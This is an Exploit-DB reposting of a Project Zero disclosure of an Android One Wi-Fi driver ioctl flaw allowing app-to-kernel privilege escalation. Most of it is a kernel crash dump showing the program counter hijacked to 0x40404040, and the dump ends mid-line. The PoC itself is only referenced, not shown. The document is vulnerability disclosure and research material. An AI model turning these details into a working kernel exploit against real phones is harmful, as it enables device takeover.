Exploit-DB #39629
Description: Android One - mt_wifi IOCTL_GET_STRUCT Privilege Escalation
Type: dos
Platform: android
Date: 2016-03-28
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=678

The wireless driver for the Android One (sprout) devices has a bad copy_from_user in the handling for the wireless driver socket private read ioctl IOCTL_GET_STRUCT with subcommand PRIV_CMD_SW_CTRL.

This ioctl is permitted for access from the untrusted-app selinux domain, so this is an app-to-kernel privilege escalation from any app with android.permission.INTERNET.

See ​
 hello-jni.tar.gz​ for a PoC (NDK required to build) that should redirect kernel code execution to 0x40404040.

[   56.843672]-(0)[880:tx_thread]CPU: 0 PID: 880 Comm: tx_thread Tainted: G        W    3.10.57-g9e1c396 #1
[   56.844867]-(0)[880:tx_thread]task: dea3b480 ti: cb99e000 task.ti: cb99e000
[   56.845731]-(0)[880:tx_thread]PC is at 0x40404040
[   56.846319]-(0)[880:tx_thread]LR is at kalDevPortWrite+0x1c8/0x484
[   56.847092]-(0)[880:tx_thread]pc : [<40404040>]    lr : [<c0408be4>]    psr: a0000013
[   56.847092]sp : cb99fdb0  ip : c001813c  fp : cb99fe0c
[   56.848705]-(0)[880:tx_thread]r10: c0cac2f0  r9 : 0000af00  r8 : 00000110
[   56.849552]-(0)[880:tx_thread]r7 : 0000002c  r6 : cc0a63c0  r5 : 00000001  r4 : c0cade08
[   56.850560]-(0)[880:tx_thread]r3 : 40404040  r2 : 00000040  r1 : dd5d0110  r0 : 00000001
[   56.851570]-(0)[880:tx_thread]Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment kernel
[   56.852675]-(0)[880:tx_thread]Control: 10c5387d  Table: 9e9b006a  DAC: 00000015
[   56.853585]-(0)[880:tx_thread]
[   56.853585]LR: 0xc0408b64:
[   56.854297]8b64  e50b3028 e3a03000 e50b3044 0a00008a e590c0d0 e30639ac e34c30a8 e35c0000
[   56.855306]8b84  01a0c003 e2851103 e30c3940 e34c30bc e7eb2055 e1a01621 e3a05001 e593e000
[   56.856314]8ba4  e3a03000 e1a01281 e58d3004 e28114ff e58d5000 e1a03008 e08e1001 e59cc010
[   56.857323]8bc4  e12fff3c e5943014 e3530000 e50b002c 0a000002 e5933018 e1a00005 e12fff33
[   56.858332]8be4  e59635cc e2867e5a e2877004 e24b1048 e30650c0 e34c50a6 e1a00007 e5933000
[   56.859340]8c04  e12fff33 e59635cc e1a00007 e5933004 e12fff33 e5959000 e2899f7d e5953000
[   56.860349]8c24  e30610c0 e1a00007 e34c10a6 e0693003 e3530000 aa00005b e59635cc e5933010
[   56.861358]8c44  e12fff33 e3500000 0afffff3 e59635cc e1a00007 e30856a1 e3405001 e5933014
[   56.862369]-(0)[880:tx_thread]
[   56.862369]SP: 0xcb99fd30:
[   56.863083]fd30  [PII_REDACTED] [PII_REDACTED] a0000013 ffffffff cb99fd9c 00000110
[   56.864091]fd50  0000af00 c0cac2f0 cb99fe0c cb99fd68 c000e1d8 c00084b8 00000001 dd5d0110
[   56.865100]fd70  [PII_REDACTED] c0cade08 00000001 cc0a63c0 0000002c 00[PII_REDACTED]af00
[   56.866108]fd90  c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013 ffffffff
[   56.867117]fdb0  [PII_REDACTED] c07aeeb8 c029c4b0 c0b9d340 [PII_REDACTED] 00000000
[   56.868126]fdd0  cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168 e54af000
[   56.869135]fdf0  e54b5d10 00000110 dd5d0[PII_REDACTED]0 cb99fe6c cb99fe10 c03db164 c0408a28
[   56.870143]fe10  0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00[PII_REDACTED]7d10 e54b5d14
[   56.871155]-(0)[880:tx_thread]
[   56.871155]IP: 0xc00180bc:
[   56.871868]80bc  ee070f36 e0800002 e1500001 3afffffb f57ff04f e1a0f00e ee103f30 e1a03823
[   56.872877]80dc  e203300f e3a02004 e1a02312 e2423001 e1c00003 ee070f3a e0800002 e1500001
[   56.873885]80fc  3afffffb f57ff04f e1a0f00e ee103f30 e1a03823 e203300f e3a02004 e1a02312
[   56.874894]811c  e2423001 e1c00003 ee070f3e e0800002 e1500001 3afffffb f57ff04f e1a0f00e
[   56.875902]813c  e0811000 e3320002 0affffd0 eaffffe1 e0811000 e3320001 1affffcc e1a0f00e
[   56.876911]815c  00007fff 000003ff e1a0c00d e92dd830 e24cb004 e1a05000 e1a00001 ebfffe6a
[   56.877920]817c  e1a04000 e1a00005 ebfffe67 e1a01004 e1a05000 eb09bf2a e1a00005 ebfffeaa
[   56.878929]819c  e1a00004 ebfffea8 e89da830 e1a0c00d e92dd818 e24cb004 ebfffe5b e3a01a01
[   56.879940]-(0)[880:tx_thread]
[   56.879940]FP: 0xcb99fd8c:
[   56.880653]fd8c  0000af00 c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013
[   56.881662]fdac  ffffffff [PII_REDACTED] c07aeeb8 c029c4b0 c0b9d340 [PII_REDACTED]
[   56.882671]fdcc  00000000 cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168
[   56.883679]fdec  e54af000 e54b5d10 00000110 dd5d0[PII_REDACTED]0 cb99fe6c cb99fe10 c03db164
[   56.884688]fe0c  c0408a28 0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00[PII_REDACTED]7d10
[   56.885697]fe2c  e54b5d14 e54af[PII_REDACTED]0 cb99fe6c cb99fe48 c03da49c e54b6168 e54af000
[   56.886705]fe4c  c0cac2f0 00000000 e54af[PII_REDACTED]0 c0cac2f0 cb99fe8c cb99fe70 c03bd0f4
[   56.887714]fe6c  c03dae1c [PII_REDACTED] e54b6[PII_REDACTED]0 cb99fee4 cb99fe90 c03bd540
[   56.888726]-(0)[880:tx_thread]
[   56.888726]R1: 0xdd5d0090:
[   56.889439]0090  [PII_REDACTED] c0a9d860 [PII_REDACTED] 0d050d04 [PII_REDACTED]
[   56.890447]00b0  c0a8d800 00002ab0 cb99fe9c cb99fe50 c00d3a84 c001ee84 0b93115f 00000000
[   56.891456]00d0  ffffffff [PII_REDACTED] 00000000 75fd19aa cb99fea0 e54dfac4 e54dfab8
[   56.892465]00f0  e54dfac4 60070113 cc0a65f8 c0cac730 cc0a6464 c0cac2f0 cb99fec4 062e062d
[   56.893473]0110  00000000 c2ec5c43 e91cd01a 3ef74ed2 256fb013 c9a73709 0d15c700 aa03b775
[   56.894482]0130  10b66433 696d6e70 4f66e845 6fc5d5f5 fffd363f a9[PII_REDACTED]7ab4 5b193ffc
[   56.895491]0150  25b0d02e 7fbf9ac1 c3de7bb9 b7bc184f 47c837ed 0d3b82cd aa3d7d38 72ac0fad
[   56.896499]0170  a469220b 96e646bc 49677d77 a6fae9d7 2d03b2c7 a52e0556 16f0641d 96c95111
[   56.897511]-(0)[880:tx_thread]
[   56.897511]R4: 0xc0cadd88:
[   56.898224]dd88  c0cadc88 [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] 41414141
[   56.899233]dda8  [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED]
[   56.900241]ddc8  [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED]
[   56.901250]dde8  [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED]
[   56.902259]de08  41414142 4